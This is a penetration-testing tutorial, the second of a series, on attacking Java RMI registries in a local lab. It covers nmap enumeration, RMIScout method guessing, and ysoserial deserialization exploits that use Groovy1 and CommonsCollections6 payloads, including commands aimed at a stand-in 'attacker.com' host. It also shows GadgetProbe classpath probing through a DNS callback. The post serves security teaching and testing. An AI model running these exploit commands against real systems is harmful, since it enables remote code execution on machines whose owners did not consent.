Java RMI for pentesters part two — reconnaissance & attack against non-JMX registries
This is the second part of the “Java RMI for pentesters” article. The first part can be found here and you can learn from it what are Java RMI registries (I am mainly speaking about non-JMX ones) and how to interact with them.
In the current part we will talk about actual automated reconnaissance as well as attacks against them. The article will make use of RMI interface / server which was presented and thoroughly explained in the first part. Its source code can also be found on GitHub, here.
Reconaissance
A RMIRegistry server is started as per the part one of the article and nmap scan is run against it (in fact, scanning any RMI registry will give following results. Just in case you want to follow along, you can use the exemplary code from part one).
nmap -v -Pn -p 11099 -sV — script=+rmi-dumpregistry 127.0.0.1
Let’s see how to use RMIScout tool against the above interface. RMIScout’s purpose is to guess methods that are available on the RMI Interface. Once it’s done, You can implement your own Interface and Client as per the part one, and try to execute these methods. However, note, that executing something blindly against an asset you do not own might have unpredictable side effects, including permanently damaging that asset. Before doing so, make sure that it’s owner is aware of potential risk (while methods like String getVersion() are rather safe, never invoke something like shutDown())
You can install RMIScout as per the GitHub description:
Git clone https://github.com/BishopFox/rmiscout.git cd rmiscout/ ./gradlew shadowJar
I am building it with Gradle as described on the GitHub page, but you can download the pre-built release as well here.
A command to check function signatures is
./rmiscout.sh wordlist -i lists/prototypes.txt localhost 11099
If you take a look at the wordlist, you will see how these prototypes look like:
For the purpose of exercise, let’s scroll down the list and add the echo function which is not on the list by default. If you don’t add it manually, you won’t get it detected!
String echo(Object randomParamName)
Now, save the wordlist and run RMIScout against the Registry:
The “Skipping…” output is just for information, that these functions were present on the wordlist but they were skipped due to them taking no arguments. So the interesting part is in fact the green output.
As you can see, a function has been identified. Even if you didn’t know the interface implementation, you can now create one with the echo function as presented in part one of this article.
Another mode available in RMIScout is bruteforce. Instead of guessing hardcoded method signatures, it allows for more diversity in search criteria. It can be run using command:
./rmiscout.sh bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 localhost 11099
If you take a look at methods.txt, you will see that it contains just function names. We’ll add “echo” in the end of the list so our non-standard method name gets detected. Remember to save the wordlist in that state!
The rest of bruteforce mode arguments are as follows:
- -r returned data type
- -p parameter types to look for
- -l range [from,to] how many parameters the function should take as input.
RMIScout will use this data to generate permutations (combinations of function, parameter types and returned types) and try to guess them against the remote registry. Now, running the tool again will show that the method “echo” exists on the remote Interface.
Historical Attacks
In historical perspective, it was possible to use ysoserial’s utilities — RMIRegistryExploit and JRMPClient to get an almost 100% sure RCE on a remote interface (assuming in the past vulnerable libraries existed on almost every classpath). These two built-in functionalities are designed to abuse some specific internals of RMI registries which are pretty complex, so I won’t describe them here. In short, RMIRegistryExploit takes advantage of a fact, that RMI registries make use of Java Serialization for communication, and JRMPClient makes use of Distributed Garbage Collection which can also be abused in similar way. More details can be found here.
Ysoserial can be downloaded in its precompiled form. See how to do it on it’s GitHub page.
It was possible (in case of old java is still possible) to attack RMIRegistries with ysoserial using following commands. I’ll assume the downloaded ysoserial has a name ysoserial.jar
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit host port PayloadName command
or
java -cp ysoserial.jar ysoserial.exploit.JRMPClient host port payloadname command
Where payloadname is one of ysoserial payloads and command is the command to be executed by that payload. For example, payloadname command can be:
- URLDNS http://mycollabid.burpcollaborator.net
- CommonsCollections6 “ping attacker.com -c 3”
In both cases, ysoserial will do the following
- Connect to the remote registry at host:port
- Try to inject the serialized payload
- If the PayloadName can be deserialized (all the gadgets are on the remote classpath and there is old java version in use), then code is about to be executed
- The reverse shell / DNS lookup check part is on your side
As said above, this is a historic method, but there are still applications that are hard-bundled with old java, so it’s worth a try. The java version should be not newer than JDK 1.7u21 and should not have a JEP290 patch installed to be considered vulnerable.
JEP 290
What ended free exploitation of RMI registries was security patch named JEP 290. You can read more about the detailed technical information of that patch and it’s implications in this great article.
In short, exploitation of RMI Registries is still possible, but via specifying a serialized object as an argument to remote method. A very important note — not every argument can be replaced with serialized objects; only those that are non-primitive data types. Here you can see which data types are considered primitives.
Be aware that primitive types have corresponding so-called wrapper classes, which might be confusing, as per below example:
- Primitive int — has a corresponding wrapper class java.lang.Integer
- Primitive long — has a corresponding wrapper class java.lang.Long
etc.
I won’t dive much into details of primitive and non-primitive types, but for those who are interested, you can see more information about wrapper classes here.
In short, if you are dealing with an RMI registry which runs on modern Java, and you want to execute code on it via deserialization attack vector, you need:
- at least one method found
- that method should utilize an argument, which is a non-primitive type
- you need to replace that argument with a serialized object
- of course, the gadget chain generated by ysoserial should be present on the remote classpath too, otherwise you’ll get ClassNotFoundException
For example, if there is a method discovered on the remote registry which signature is
String(java.lang.Integer x)
You should create respective interface/client, generate an ysoserial payload using command like
java -jar ysoserial.jar CommonsCollections6 “ping attacker.com -c3”
And invoke the method with that serialized object as an argument… well, manually this is not possible. You need to use a tool for this. For example, again RMIScout can be used (there are other ways but I found RMIScout’s utility most user-friendly). Moreover, it already has ysoserial built-in, so it’s really convenient in that case.
Attacking RMI using RMIScout and Serialized payloads
I’ll show you how to use RMIScout as an exploitation tool — the example is very straightforward and the command line is already documented on the project’s GitHub page. Let’s take a look at two scenarios of the RMIRegistry. Note that the code below is very similar to code provided in the first part, with one difference — additional methods were added.
//RMIInterface.java
import java.rmi.*;
import java.rmi.registry.*;
import java.net.*;
interface RMIInterface extends Remote {
public String echoObject(Object obj) throws RemoteException;
public String echoString(String str) throws RemoteException;
public String echoClass(Class cls) throws RemoteException;
public String echoInt(Integer inte) throws RemoteException;
}
//Server.java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.Naming;
public class Server extends UnicastRemoteObject implements RMIInterface {
public String echoObject(Object obj) throws RemoteException {
return" Object: "+obj.toString();
}
public String echoString(String str) throws RemoteException {
return" String: "+str.toString();
}
public String echoClass(Class cls) throws RemoteException {
return" Class: "+cls.toString();
}
public String echoInt(Integer inte) throws RemoteException {
Integer X = inte;
return" Integer";
}
protected Server() throws RemoteException {
super();
}
public static void main(String[] args) {
try {
System.out.println("[+] Trying to bind…");
//Below IP:PORT can be changed
Naming.rebind("rmi: //127.0.0.1:11098/RMIInterface", new Server());
System.out.println("[+] Server started.");
}
catch (Exception e) {
e.printStackTrace();
}
}
}
}
Now it’s compiled using command
javac *.java
Moreover, we will need vulnerable Groovy library — you can download it from here.
The content of the directory before starting rmiregistry should look like below:
I’ll make sure no other registry is running using netstat, and later I’ll run the newly compiled Server. Note, that the Groovy library has now been added to the classpath.
Running nmap shows, that registry is accessible and can be dumped:
nmap 127.0.0.1 -p 11098 -sV -v -Pn -T4 — script=+rmi-dumpregistry
Now the fun part: let’s try to attack the registry. We already know what the interface is, and it was already said how to proceed if you don’t have one — try to find it or guess it.
In this case I’ll skip the reconnaissance phase and focus on method execution. Note, that our interface has following methods:
We also know that the remote registry contains the vulnerable Groovy library on its classpath. Thus, ysoserial’s payload named Groovy1 can be applicable to exploit it.
The whole problem is you cannot simply declare another type of argument in your implementation of a function. If the interface provides a function that takes Integer as argument, you won’t be able to call that function with an Object type of argument.
This time, RMIScout again helped us to achieve that. Let’s invoke RMIScout in exploit mode against the registry:
./rmiscout.sh exploit -s ‘String echoInt(java.lang.Integer x)’ -p ysoserial.payloads.Groovy1 -c “touch /tmp/grovy1” -n RMIInterface localhost 11098
- -s stands for Method Signature, which is taken from the interface
- -p is ysoserial’s payload taken from its classpath. All classes available on path ysoserial.payloads can be found here — they are simply the same payloads ysoserial uses
- -c is command to the ysoserial payload
- -n is the Registry name
- two last arguments are host and port of the target registry.
After execution, despite what the error says, payload was invoked. The file has been created in /tmp/ and you can also see in Server’s output that data has been processed.
June 2020: Issues with Strings and Primitives
I’ve already said that you cannot exploit RMI interface by abusing functions that take a primitive as an argument. Unfortunately, this is true also to Strings — after a patch released in June 2020. I won’t post updated source code of the interface again — just for you to know, I am just adding example functions that return a String (return type has nothing to do with vulnerability) and take a String data type as an argument (this is what matters here). Let’s start with trying to execute echoString method.
./rmiscout.sh exploit -s ‘String echoString(String x)’ -p ysoserial.payloads.Groovy1 -c “touch /tmp/grovyString” -n RMIInterface localhost 11098
Nothing happened. This is because, according to already mentioned article, in June 2020 another patch has been added, which makes String type protected from arbitrary deserialization in the same way as primitive types are protected. The linked article contains further technical information along with source code for the mentioned patch.
If we now try to execute another method from the remote interface, which takes Class as an argument — again, the code execution works properly.
Let’s take a look at another example of Primitives: int vs java.lang.Integer. The interface (and server) has been modified to include two functions: one takes an int (primitive) and another takes java.lang.Integer (wrapper class for int) as an argument. As you can see in below screenshots, only attacking the latter results in code execution.
Extra step: Probing the remote Classpath
There is also another tool that has been released along with RMIScout that is worth checking out — it’s named GadgetProbe. If you are not familiar with term “gadgets” you should definitely take a closer look at subject of Java Deserialization (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet)
In short, Gadgets are certain java classes which are available on target application (or in this case, registry) classpath. Certain combinations of java gadgets allow crafting malicious “gadget chains” which might lead to compromise of target application if the chain is deserialized in an unverified manner. The compromise impact might vary from DNS resolution to code execution. Ysoserial (and tools related to it like Burp’s Java Deserialization Scanner or RMIScout in exploit mode) is used to generate gadget chains that take advantage of insecure deserialization.
GadgetProbe relies on deserializing an universal gadget — URLDNS. This ysoserial’s payload always works (it just forces a DNS lookup on deserializing endpoint) as long as it’s thrown against arbitrary (arbitrary means there’s no type check during deserialization process) deserialization. So in this case, you can target any method that takes a non-primitive (or string) data type as argument.
Probing classes on remote classpath might help you to understand which gadget from ysoserial’s toolkit should be effective against a certain interface as long as you already detected insecure deserialization with DNS interaction. Simply — DNS Interaction is a PoC (like alert(1) in xss) and in order to have an impact, you need to find gadgets and then use suitable payload that consist of available gadgets and eventually achieve RCE (or other severe interaction with target like file write/delete etc.)
I downloaded GadgetProbe from GitHub and build it:
The RMIRegistry shown on the screenshots is the same one that has been scanned with nmap in the beginning of the post. Now, in order prepare Gadgetprobe to run, for sake of demonstrating its capabilities, I’ve changed its default wordlist at GadgetProbe/wordlists/mavenpopular.list
Simply, “java.lang.String” is added at the end of the class wordlist, as it’s sure that it will be on target classpath — this is because java.lang.String is a native, widely used class.
In the next step, I use BurpPro Collaborator Client to generate a collaborator link. I’ll paste it to commandline, to get RMIScout use GadgetProbe to probe the remote classpath:
./rmiscout.sh probe -s ‘String echo(java.lang.Object qwewqe)’ -i ../GadgetProbe/wordlists/maven_popular.list -d “av9nuav4lhol8ytlc9ut2ditlkrgf5.burpcollaborator.net” -n RMIInterface localhost 11099
Let me explain what happens here:
- First, we take the method that was previously obtained from RMIScout’s enumeration process. It’s the discovered echo method,
- It is being run out of RMIScout with probe parameter, which additionally is associated with maven_popular wordlist
- Additional parameters inform RMIScout about the dns endpoint which will be resolved if class from wordlist is also present on the remote classpath
- Also it takes information about the registry binding, port and host
Upon running, you can see that java.lang.String has been resolved!
Note, that the white text is not the proof of method being executed. You should rely on the DNS interaction, which can be seen, in this case, in burp.
As already said, DNS interaction is one of “Universal gadgets”, as it relies on native java classes, that’s why it’s so reliable to use it in probe mechanisms. Moreover, it is a good idea to add some “always true” classes like java.lang.String to your class wordlist, so if you can’t find even them, you can infer that a countermeasure is in place.
Summary
To summarize, testing of non-JMX RMI interfaces (those that does not implement javax.management.remote.rmi.RMIServer) involves following steps:
- Reconnaissance using Nmap to dump registry information
- Check if invocationhandler is accessible, otherwise tweak network/DNS settings
- Try to find remote interface online or in source code if possible
- Otherwise try to guess methods using e.g. RMIScout
- Optional: try to probe gadgets on remote classpath or
- Find a method that uses a non-primitive type as parameter
- Try to execute it with RMIScout exploit mode, remembering that:
- Primitives and strings cannot be deserialized
- Remote classpath needs to contain vulnerable gadget libraries
- Other custom deserialization filters might be in place — so still, it’s not sure that RCE is possible unless you have white-box access
Definitely, recent patches made RMI registries (still speaking about non-JMX ones, as for JMXRMI there are few other techniques) harder to exploit. But still, they are worth inspecting as potential RCE is always a reward worth spending time on.
References:
- https://github.com/frohoff/ysoserial
- https://www.programmersought.com/article/22724621036/
- https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
- https://en.wikibooks.org/wiki/Java_Programming/Primitive_Types
- https://programming.guide/java/wrapper-types.html
- https://github.com/BishopFox/rmiscout